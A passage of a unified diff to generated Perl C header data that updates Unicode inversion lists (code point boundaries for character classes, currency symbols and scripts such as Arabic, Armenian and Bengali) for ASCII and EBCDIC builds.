+	0x61C,
+	0x61D,
+	0x61F,
 	0x66A,
+	0x66B,
+	0x66D,
 	0x66E,
-	0x6D4,
-	0x6D5,
-	0x6DD,
-	0x6E1,
+	0x6DE,
+	0x6DF,
 	0x6E9,
-	0x6ED,
+	0x6EA,
 	0x6FD,
 	0x6FF,
-	0x700,
-	0x710,
-	0x740,
+	0x703,
+	0x70F,
+	0x74B,
 	0x74D,
 	0x7B2,
 	0x7C0,
-	0x7EB,
-	0x7F4,
 	0x7F6,
-	0x7FA,
+	0x7F8,
 	0x7FB,
 	0x800,
-	0x818,
-	0x81A,
-	0x82D,
+	0x82E,
 	0x840,
-	0x859,
+	0x85C,
+	0x860,
+	0x86B,
 	0x8A0,
 	0x8B5,
 	0x8B6,
 	0x8BE,
 	0x8D4,
-	0x8E0,
-	0x8E3,
-	0x8EA,
-	0x8F0,
-	0x93C,
-	0x93D,
-	0x94D,
-	0x94E,
-	0x951,
-	0x955,
-	0x964,
-	0x966,
 	0x970,
 	0x971,
 	0x984,
@@ -85592,13 +342852,11 @@
 	0x9B3,
 	0x9B6,
 	0x9BA,
-	0x9BD,
+	0x9BC,
 	0x9C5,
 	0x9C7,
 	0x9C9,
 	0x9CB,
-	0x9CD,
-	0x9CE,
 	0x9CF,
 	0x9D7,
 	0x9D8,
@@ -85608,6 +342866,8 @@
 	0x9E4,
 	0x9E6,
 	0x9F2,
+	0x9FC,
+	0x9FD,
 	0xA01,
 	0xA04,
 	0xA05,
@@ -85624,12 +342884,14 @@
 	0xA37,
 	0xA38,
 	0xA3A,
+	0xA3C,
+	0xA3D,
 	0xA3E,
 	0xA43,
 	0xA47,
 	0xA49,
 	0xA4B,
-	0xA4D,
+	0xA4E,
 	0xA51,
 	0xA52,
 	0xA59,
@@ -85652,12 +342914,12 @@
 	0xAB4,
 	0xAB5,
 	0xABA,
-	0xABD,
+	0xABC,
 	0xAC6,
 	0xAC7,
 	0xACA,
 	0xACB,
-	0xACD,
+	0xACE,
 	0xAD0,
 	0xAD1,
 	0xAE0,
@@ -85665,7 +342927,7 @@
 	0xAE6,
 	0xAF0,
 	0xAF9,
-	0xAFA,
+	0xB00,
 	0xB01,
 	0xB04,
 	0xB05,
@@ -85680,12 +342942,12 @@
 	0xB34,
 	0xB35,
 	0xB3A,
-	0xB3D,
+	0xB3C,
 	0xB45,
 	0xB47,
 	0xB49,
 	0xB4B,
-	0xB4D,
+	0xB4E,
 	0xB56,
 	0xB58,
 	0xB5C,
@@ -85721,7 +342983,7 @@
 	0xBC6,
 	0xBC9,
 	0xBCA,
-	0xBCD,
+	0xBCE,
 	0xBD0,
 	0xBD1,
 	0xBD7,
@@ -85743,7 +343005,7 @@
 	0xC46,
 	0xC49,
 	0xC4A,
-	0xC4D,
+	0xC4E,
 	0xC55,
 	0xC57,
 	0xC58,
@@ -85764,12 +343026,12 @@
 	0xCB4,
 	0xCB5,
 	0xCBA,
-	0xCBD,
+	0xCBC,
 	0xCC5,
 	0xCC6,
 	0xCC9,
 	0xCCA,
-	0xCCD,
+	0xCCE,
 	0xCD5,
 	0xCD7,
 	0xCDE,
@@ -85780,7 +343042,7 @@
 	0xCF0,
 	0xCF1,
 	0xCF3,
-	0xD01,
+	0xD00,
 	0xD04,
 	0xD05,
 	0xD0D,
@@ -85787,14 +343049,10 @@
 	0xD0E,
 	0xD11,
 	0xD12,
-	0xD3B,
-	0xD3D,
 	0xD45,
 	0xD46,
 	0xD49,
 	0xD4A,
-	0xD4D,
-	0xD4E,
 	0xD4F,
 	0xD54,
 	0xD58,
@@ -85816,6 +343074,8 @@
 	0xDBE,
 	0xDC0,
 	0xDC7,
+	0xDCA,
+	0xDCB,
 	0xDCF,
 	0xDD5,
 	0xDD6,
@@ -85829,9 +343089,7 @@
 	0xE01,
 	0xE3B,
 	0xE40,
-	0xE47,
-	0xE4D,
-	0xE4E,
+	0xE4F,
 	0xE50,
 	0xE5A,
 	0xE81,
@@ -85864,7 +343122,7 @@
 	0xEC5,
 	0xEC6,
 	0xEC7,
-	0xECD,
+	0xEC8,
 	0xECE,
 	0xED0,
 	0xEDA,
@@ -85872,35 +343130,29 @@
 	0xEE0,
 	0xF00,
 	0xF01,
+	0xF18,
+	0xF1A,
 	0xF20,
 	0xF2A,
-	0xF40,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
 	0xF48,
 	0xF49,
 	0xF6D,
 	0xF71,
-	0xF82,
-	0xF88,
+	0xF85,
+	0xF86,
 	0xF98,
 	0xF99,
 	0xFBD,
+	0xFC6,
+	0xFC7,
 	0x1000,
-	0x1037,
-	0x1038,
-	0x1039,
-	0x103B,
-	0x104A,
+	0x104C,
 	0x1050,
-	0x1063,
-	0x1065,
-	0x1069,
-	0x106E,
-	0x1087,
-	0x108E,
-	0x108F,
-	0x1090,
-	0x109A,
-	0x109C,
 	0x109E,
 	0x10A0,
 	0x10C6,
@@ -85942,8 +343194,12 @@
 	0x1316,
 	0x1318,
 	0x135B,
-	0x135F,
+	0x135D,
 	0x1360,
+	0x1362,
+	0x1363,
+	0x1367,
+	0x1369,
 	0x1380,
 	0x1390,
 	0x13A0,
@@ -85952,10 +343208,8 @@
 	0x13FE,
 	0x1401,
 	0x166D,
-	0x166F,
-	0x1680,
-	0x1681,
-	0x169B,
+	0x166E,
+	0x169D,
 	0x16A0,
 	0x16EB,
 	0x16EE,
@@ -85963,9 +343217,9 @@
 	0x1700,
 	0x170D,
 	0x170E,
-	0x1714,
+	0x1715,
 	0x1720,
-	0x1734,
+	0x1737,
 	0x1740,
 	0x1754,
 	0x1760,
@@ -85975,15 +343229,19 @@
 	0x1772,
 	0x1774,
 	0x1780,
-	0x17B4,
-	0x17B6,
-	0x17C9,
+	0x17D4,
 	0x17D7,
 	0x17D8,
 	0x17DC,
-	0x17DD,
+	0x17DE,
 	0x17E0,
 	0x17EA,
+	0x1802,
+	0x1804,
+	0x1808,
+	0x180A,
+	0x180B,
+	0x180F,
 	0x1810,
 	0x181A,
 	0x1820,
@@ -85997,8 +343255,8 @@
 	0x1920,
 	0x192C,
 	0x1930,
-	0x1939,
-	0x1946,
+	0x193C,
+	0x1944,
 	0x196E,
 	0x1970,
 	0x1975,
@@ -86012,47 +343270,41 @@
 	0x1A1C,
 	0x1A20,
 	0x1A5F,
-	0x1A61,
-	0x1A75,
-	0x1A80,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
 	0x1A8A,
 	0x1A90,
 	0x1A9A,
 	0x1AA7,
-	0x1AA8,
+	0x1AAC,
+	0x1AB0,
+	0x1ABF,
 	0x1B00,
-	0x1B34,
-	0x1B35,
-	0x1B44,
-	0x1B45,
 	0x1B4C,
 	0x1B50,
-	0x1B5A,
+	0x1B5C,
+	0x1B5E,
+	0x1B60,
+	0x1B6B,
+	0x1B74,
 	0x1B80,
-	0x1BAA,
-	0x1BAC,
-	0x1BE6,
-	0x1BE7,
-	0x1BF2,
+	0x1BF4,
 	0x1C00,
-	0x1C36,
+	0x1C38,
+	0x1C3B,
+	0x1C3D,
 	0x1C40,
 	0x1C4A,
 	0x1C4D,
-	0x1C7E,
-	0x1C80,
 	0x1C89,
-	0x1CE9,
-	0x1CED,
-	0x1CEE,
-	0x1CF4,
-	0x1CF5,
-	0x1CF7,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CFA,
 	0x1D00,
-	0x1DC0,
-	0x1DE7,
-	0x1DF5,
-	0x1E00,
+	0x1DFA,
+	0x1DFB,
 	0x1F16,
 	0x1F18,
 	0x1F1E,
@@ -86090,12 +343342,36 @@
 	0x1FF5,
 	0x1FF6,
 	0x1FFD,
+	0x2000,
+	0x2010,
+	0x2013,
+	0x2015,
+	0x2018,
+	0x2020,
+	0x2024,
+	0x2025,
+	0x2028,
+	0x2030,
+	0x2039,
+	0x203B,
+	0x203C,
+	0x203E,
+	0x2045,
+	0x204A,
+	0x205F,
+	0x2065,
+	0x2066,
+	0x2070,
 	0x2071,
 	0x2072,
-	0x207F,
+	0x207D,
 	0x2080,
+	0x208D,
+	0x208F,
 	0x2090,
 	0x209D,
+	0x20D0,
+	0x20F1,
 	0x2102,
 	0x2103,
 	0x2107,
@@ -86124,8 +343400,26 @@
 	0x214F,
 	0x2160,
 	0x2189,
+	0x2308,
+	0x230C,
+	0x2329,
+	0x232B,
 	0x24B6,
 	0x24EA,
+	0x275B,
+	0x2761,
+	0x2768,
+	0x2776,
+	0x27C5,
+	0x27C7,
+	0x27E6,
+	0x27F0,
+	0x2983,
+	0x2999,
+	0x29D8,
+	0x29DC,
+	0x29FC,
+	0x29FE,
 	0x2C00,
 	0x2C2F,
 	0x2C30,
@@ -86133,8 +343427,6 @@
 	0x2C60,
 	0x2CE5,
 	0x2CEB,
-	0x2CEF,
-	0x2CF2,
 	0x2CF4,
 	0x2D00,
 	0x2D26,
@@ -86146,7 +343438,7 @@
 	0x2D68,
 	0x2D6F,
 	0x2D70,
-	0x2D80,
+	0x2D7F,
 	0x2D97,
 	0x2DA0,
 	0x2DA7,
@@ -86165,13 +343457,27 @@
 	0x2DD8,
 	0x2DDF,
 	0x2DE0,
-	0x2E00,
-	0x2E2F,
+	0x2E0E,
+	0x2E1C,
+	0x2E1E,
+	0x2E20,
+	0x2E2A,
+	0x2E2E,
 	0x2E30,
+	0x2E3C,
+	0x2E3D,
+	0x2E42,
+	0x2E43,
+	0x3000,
+	0x3003,
 	0x3005,
-	0x3008,
+	0x3012,
+	0x3014,
+	0x301C,
+	0x301D,
+	0x3020,
 	0x3021,
-	0x302A,
+	0x3030,
 	0x3031,
 	0x3036,
 	0x3038,
@@ -86178,6 +343484,8 @@
 	0x303D,
 	0x3041,
 	0x3097,
+	0x3099,
+	0x309B,
 	0x309D,
 	0x30A0,
 	0x30A1,
@@ -86185,7 +343493,7 @@
 	0x30FC,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
 	0x31A0,
@@ -86195,21 +343503,25 @@
 	0x3400,
 	0x4DB6,
 	0x4E00,
-	0x9FD6,
+	0x9FEB,
 	0xA000,
 	0xA48D,
 	0xA4D0,
 	0xA4FE,
-	0xA500,
+	0xA4FF,
 	0xA60D,
-	0xA610,
+	0xA60E,
 	0xA62C,
 	0xA640,
-	0xA66F,
+	0xA673,
 	0xA674,
-	0xA67C,
+	0xA67E,
 	0xA67F,
-	0xA6F0,
+	0xA6F2,
+	0xA6F3,
+	0xA6F4,
+	0xA6F7,
+	0xA6F8,
 	0xA717,
 	0xA720,
 	0xA722,
@@ -86219,22 +343531,16 @@
 	0xA7B0,
 	0xA7B8,
 	0xA7F7,
-	0xA802,
-	0xA803,
-	0xA806,
-	0xA807,
-	0xA80B,
-	0xA80C,
 	0xA828,
 	0xA840,
 	0xA874,
+	0xA876,
+	0xA878,
 	0xA880,
-	0xA8C4,
-	0xA8C5,
 	0xA8C6,
-	0xA8D0,
+	0xA8CE,
 	0xA8DA,
-	0xA8F2,
+	0xA8E0,
 	0xA8F8,
 	0xA8FB,
 	0xA8FC,
@@ -86241,20 +343547,18 @@
 	0xA8FD,
 	0xA8FE,
 	0xA900,
-	0xA92B,
-	0xA930,
-	0xA953,
+	0xA92E,
+	0xA92F,
+	0xA954,
 	0xA960,
 	0xA97D,
 	0xA980,
-	0xA9B3,
-	0xA9B4,
-	0xA9C0,
+	0xA9C1,
+	0xA9C8,
+	0xA9CA,
 	0xA9CF,
 	0xA9DA,
 	0xA9E0,
-	0xA9E5,
-	0xA9E6,
 	0xA9FF,
 	0xAA00,
 	0xAA37,
@@ -86262,22 +343566,14 @@
 	0xAA4E,
 	0xAA50,
 	0xAA5A,
-	0xAA60,
+	0xAA5D,
 	0xAA77,
 	0xAA7A,
-	0xAA7B,
-	0xAA7E,
-	0xAABF,
-	0xAAC0,
-	0xAAC1,
-	0xAAC2,
 	0xAAC3,
 	0xAADB,
 	0xAADE,
 	0xAAE0,
-	0xAAF0,
-	0xAAF2,
-	0xAAF6,
+	0xAAF7,
 	0xAB01,
 	0xAB07,
 	0xAB09,
@@ -86293,7 +343589,7 @@
 	0xAB5C,
 	0xAB66,
 	0xAB70,
-	0xABEB,
+	0xABEE,
 	0xABF0,
 	0xABFA,
 	0xAC00,
@@ -86325,7 +343621,7 @@
 	0xFB46,
 	0xFBB2,
 	0xFBD3,
-	0xFD3E,
+	0xFD40,
 	0xFD50,
 	0xFD90,
 	0xFD92,
@@ -86332,16 +343628,52 @@
 	0xFDC8,
 	0xFDF0,
 	0xFDFC,
+	0xFE00,
+	0xFE12,
+	0xFE13,
+	0xFE14,
+	0xFE17,
+	0xFE19,
+	0xFE20,
+	0xFE30,
+	0xFE31,
+	0xFE33,
+	0xFE35,
+	0xFE45,
+	0xFE47,
+	0xFE49,
+	0xFE50,
+	0xFE53,
+	0xFE55,
+	0xFE5F,
+	0xFE63,
+	0xFE64,
 	0xFE70,
 	0xFE75,
 	0xFE76,
 	0xFEFD,
-	0xFF10,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFF02,
+	0xFF08,
+	0xFF0A,
+	0xFF0C,
+	0xFF0F,
 	0xFF1A,
+	0xFF1B,
+	0xFF1F,
+	0xFF20,
 	0xFF21,
-	0xFF3B,
+	0xFF3C,
+	0xFF3D,
+	0xFF3E,
 	0xFF41,
-	0xFF5B,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFF65,
 	0xFF66,
 	0xFFBF,
 	0xFFC2,
@@ -86352,6 +343684,8 @@
 	0xFFD8,
 	0xFFDA,
 	0xFFDD,
+	0xFFF9,
+	0xFFFC,
 	0x10000,
 	0x1000C,
 	0x1000D,
@@ -86368,13 +343702,17 @@
 	0x100FB,
 	0x10140,
 	0x10175,
+	0x101FD,
+	0x101FE,
 	0x10280,
 	0x1029D,
 	0x102A0,
 	0x102D1,
+	0x102E0,
+	0x102E1,
 	0x10300,
 	0x10320,
-	0x10330,
+	0x1032D,
 	0x1034B,
 	0x10350,
 	0x1037B,
@@ -86442,6 +343780,12 @@
 	0x10A18,
 	0x10A19,
 	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10A56,
+	0x10A58,
 	0x10A60,
 	0x10A7D,
 	0x10A80,
@@ -86449,7 +343793,7 @@
 	0x10AC0,
 	0x10AC8,
 	0x10AC9,
-	0x10AE5,
+	0x10AE7,
 	0x10B00,
 	0x10B36,
 	0x10B40,
@@ -86465,37 +343809,43 @@
 	0x10CC0,
 	0x10CF3,
 	0x11000,
-	0x11046,
+	0x11049,
 	0x11066,
 	0x11070,
-	0x11082,
-	0x110B9,
+	0x1107F,
+	0x110BB,
+	0x110BD,
+	0x110C2,
 	0x110D0,
 	0x110E9,
 	0x110F0,
 	0x110FA,
 	0x11100,
-	0x11133,
+	0x11135,
 	0x11136,
 	0x11140,
+	0x11141,
+	0x11144,
 	0x11150,
-	0x11173,
+	0x11174,
 	0x11176,
 	0x11177,
 	0x11180,
-	0x111C0,
-	0x111C1,
-	0x111C5,
+	0x111C7,
+	0x111CA,
+	0x111CE,
 	0x111D0,
 	0x111DB,
 	0x111DC,
 	0x111DD,
+	0x111DE,
+	0x111E0,
 	0x11200,
 	0x11212,
 	0x11213,
-	0x11235,
-	0x11237,
-	0x11238,
+	0x1123A,
+	0x1123B,
+	0x1123D,
 	0x1123E,
 	0x1123F,
 	0x11280,
@@ -86507,9 +343857,9 @@
 	0x1128F,
 	0x1129E,
 	0x1129F,
-	0x112A9,
+	0x112AA,
 	0x112B0,
-	0x112E9,
+	0x112EB,
 	0x112F0,
 	0x112FA,
 	0x11300,
@@ -86526,12 +343876,12 @@
 	0x11334,
 	0x11335,
 	0x1133A,
-	0x1133D,
+	0x1133C,
 	0x11345,
 	0x11347,
 	0x11349,
 	0x1134B,
-	0x1134D,
+	0x1134E,
 	0x11350,
 	0x11351,
 	0x11357,
@@ -86538,17 +343888,15 @@
 	0x11358,
 	0x1135D,
 	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
 	0x11400,
-	0x11442,
-	0x11443,
-	0x11446,
-	0x11447,
-	0x1144B,
+	0x1144D,
 	0x11450,
 	0x1145A,
 	0x11480,
-	0x114C2,
-	0x114C4,
 	0x114C6,
 	0x114C7,
 	0x114C8,
@@ -86557,31 +343905,45 @@
 	0x11580,
 	0x115B6,
 	0x115B8,
-	0x115BF,
-	0x115D8,
+	0x115C1,
+	0x115C2,
+	0x115C4,
+	0x115C9,
 	0x115DE,
 	0x11600,
-	0x1163F,
-	0x11640,
-	0x11641,
+	0x11643,
 	0x11644,
 	0x11645,
 	0x11650,
 	0x1165A,
 	0x11680,
-	0x116B6,
+	0x116B8,
 	0x116C0,
 	0x116CA,
 	0x11700,
 	0x1171A,
 	0x1171D,
-	0x1172B,
+	0x1172C,
 	0x11730,
 	0x1173A,
+	0x1173C,
+	0x1173F,
 	0x118A0,
 	0x118EA,
 	0x118FF,
 	0x11900,
+	0x11A00,
+	0x11A3F,
+	0x11A42,
+	0x11A44,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9A,
+	0x11A9B,
+	0x11A9D,
 	0x11AC0,
 	0x11AF9,
 	0x11C00,
@@ -86589,9 +343951,7 @@
 	0x11C0A,
 	0x11C37,
 	0x11C38,
-	0x11C3F,
-	0x11C40,
-	0x11C41,
+	0x11C43,
 	0x11C50,
 	0x11C5A,
 	0x11C72,
@@ -86600,6 +343960,20 @@
 	0x11CA8,
 	0x11CA9,
 	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
 	0x12000,
 	0x1239A,
 	0x12400,
@@ -86616,12 +343990,16 @@
 	0x16A5F,
 	0x16A60,
 	0x16A6A,
+	0x16A6E,
+	0x16A70,
 	0x16AD0,
 	0x16AEE,
+	0x16AF0,
+	0x16AF6,
 	0x16B00,
-	0x16B37,
+	0x16B39,
 	0x16B40,
-	0x16B44,
+	0x16B45,
 	0x16B50,
 	0x16B5A,
 	0x16B63,
@@ -86632,16 +344010,18 @@
 	0x16F45,
 	0x16F50,
 	0x16F7F,
-	0x16F93,
+	0x16F8F,
 	0x16FA0,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
 	0x17000,
 	0x187ED,
 	0x18800,
 	0x18AF3,
 	0x1B000,
-	0x1B002,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
 	0x1BC00,
 	0x1BC6B,
 	0x1BC70,
@@ -86650,8 +344030,18 @@
 	0x1BC89,
 	0x1BC90,
 	0x1BC9A,
-	0x1BC9E,
-	0x1BC9F,
+	0x1BC9D,
+	0x1BCA4,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
 	0x1D400,
 	0x1D455,
 	0x1D456,
@@ -86714,6 +344104,20 @@
 	0x1D7CC,
 	0x1D7CE,
 	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA88,
+	0x1DA89,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
 	0x1E000,
 	0x1E007,
 	0x1E008,
@@ -86726,10 +344130,10 @@
 	0x1E02B,
 	0x1E800,
 	0x1E8C5,
+	0x1E8D0,
+	0x1E8D7,
 	0x1E900,
-	0x1E944,
-	0x1E947,
-	0x1E948,
+	0x1E94B,
 	0x1E950,
 	0x1E95A,
 	0x1EE00,
@@ -86804,6 +344208,8 @@
 	0x1F16A,
 	0x1F170,
 	0x1F18A,
+	0x1F676,
+	0x1F679,
 	0x20000,
 	0x2A6D7,
 	0x2A700,
@@ -86812,16 +344218,1041 @@
 	0x2B81E,
 	0x2B820,
 	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
 	0x2F800,
+	0x2FA1E,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_SC_invlist[] = { /* for ASCII/Latin1 */
+	35,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x24,
+	0x25,
+	0xA2,
+	0xA6,
+	0x58F,
+	0x590,
+	0x60B,
+	0x60C,
+	0x9F2,
+	0x9F4,
+	0x9FB,
+	0x9FC,
+	0xAF1,
+	0xAF2,
+	0xBF9,
+	0xBFA,
+	0xE3F,
+	0xE40,
+	0x17DB,
+	0x17DC,
+	0x20A0,
+	0x20C0,
+	0xA838,
+	0xA839,
+	0xFDFC,
+	0xFDFD,
+	0xFE69,
+	0xFE6A,
+	0xFF04,
+	0xFF05,
+	0xFFE0,
+	0xFFE2,
+	0xFFE5,
+	0xFFE7
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SC_invlist[] = { /* for EBCDIC 1047 */
+	39,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4A,
+	0x4B,
+	0x5B,
+	0x5C,
+	0x9F,
+	0xA0,
+	0xB1,
+	0xB3,
+	0x58F,
+	0x590,
+	0x60B,
+	0x60C,
+	0x9F2,
+	0x9F4,
+	0x9FB,
+	0x9FC,
+	0xAF1,
+	0xAF2,
+	0xBF9,
+	0xBFA,
+	0xE3F,
+	0xE40,
+	0x17DB,
+	0x17DC,
+	0x20A0,
+	0x20C0,
+	0xA838,
+	0xA839,
+	0xFDFC,
+	0xFDFD,
+	0xFE69,
+	0xFE6A,
+	0xFF04,
+	0xFF05,
+	0xFFE0,
+	0xFFE2,
+	0xFFE5,
+	0xFFE7
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_SC_invlist[] = { /* for EBCDIC 037 */
+	39,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4A,
+	0x4B,
+	0x5B,
+	0x5C,
+	0x9F,
+	0xA0,
+	0xB1,
+	0xB3,
+	0x58F,
+	0x590,
+	0x60B,
+	0x60C,
+	0x9F2,
+	0x9F4,
+	0x9FB,
+	0x9FC,
+	0xAF1,
+	0xAF2,
+	0xBF9,
+	0xBFA,
+	0xE3F,
+	0xE40,
+	0x17DB,
+	0x17DC,
+	0x20A0,
+	0x20C0,
+	0xA838,
+	0xA839,
+	0xFDFC,
+	0xFDFD,
+	0xFE69,
+	0xFE6A,
+	0xFF04,
+	0xFF05,
+	0xFFE0,
+	0xFFE2,
+	0xFFE5,
+	0xFFE7
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_SC__ADLM_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1E900,
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1E95E,
+	0x1E960
+};
+
+static const UV PL_SC__ARAB_invlist[] = { /* for all charsets */
+	115,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x600,
+	0x605,
+	0x606,
+	0x60C,
+	0x60D,
+	0x61B,
+	0x61C,
+	0x61D,
+	0x61E,
+	0x61F,
+	0x620,
+	0x640,
+	0x641,
+	0x64B,
+	0x656,
+	0x670,
+	0x671,
+	0x6DD,
+	0x6DE,
+	0x700,
+	0x750,
+	0x780,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x900,
+	0xFB50,
+	0xFBC2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFE,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0x10E60,
+	0x10E7F,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2
+};
+
+static const UV PL_SC__ARMN_invlist[] = { /* for all charsets */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x58A,
+	0x58B,
+	0x58D,
+	0x590,
+	0xFB13,
+	0xFB18
+};
+
+static const UV PL_SC__BENG_invlist[] = { /* for all charsets */
+	29,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x980,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FE
+};
+
+static const UV PL_SC__BOPO_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2EA,
+	0x2EC,
+	0x3105,
+	0x312F,
+	0x31A0,
+	0x31BB
+};
+
+static const UV PL_SC__BUGI_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1A00,
+	0x1A1C,
+	0x1A1E,
+	0x1A20
+};
+
+static const UV PL_SC__BUHD_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1740,
+	0x1754
+};
+
+static const UV PL_SC__CAKM_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11144
+};
+
+static const UV PL_SC__COPT_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3E2,
+	0x3F0,
+	0x2C80,
+	0x2CF4,
+	0x2CF9,
+	0x2D00
+};
+
+static const UV PL_SC__CPRT_invlist[] = { /* for all charsets */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10840
+};
+
+static const UV PL_SC__CYRL_invlist[] = { /* for all charsets */
+	17,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
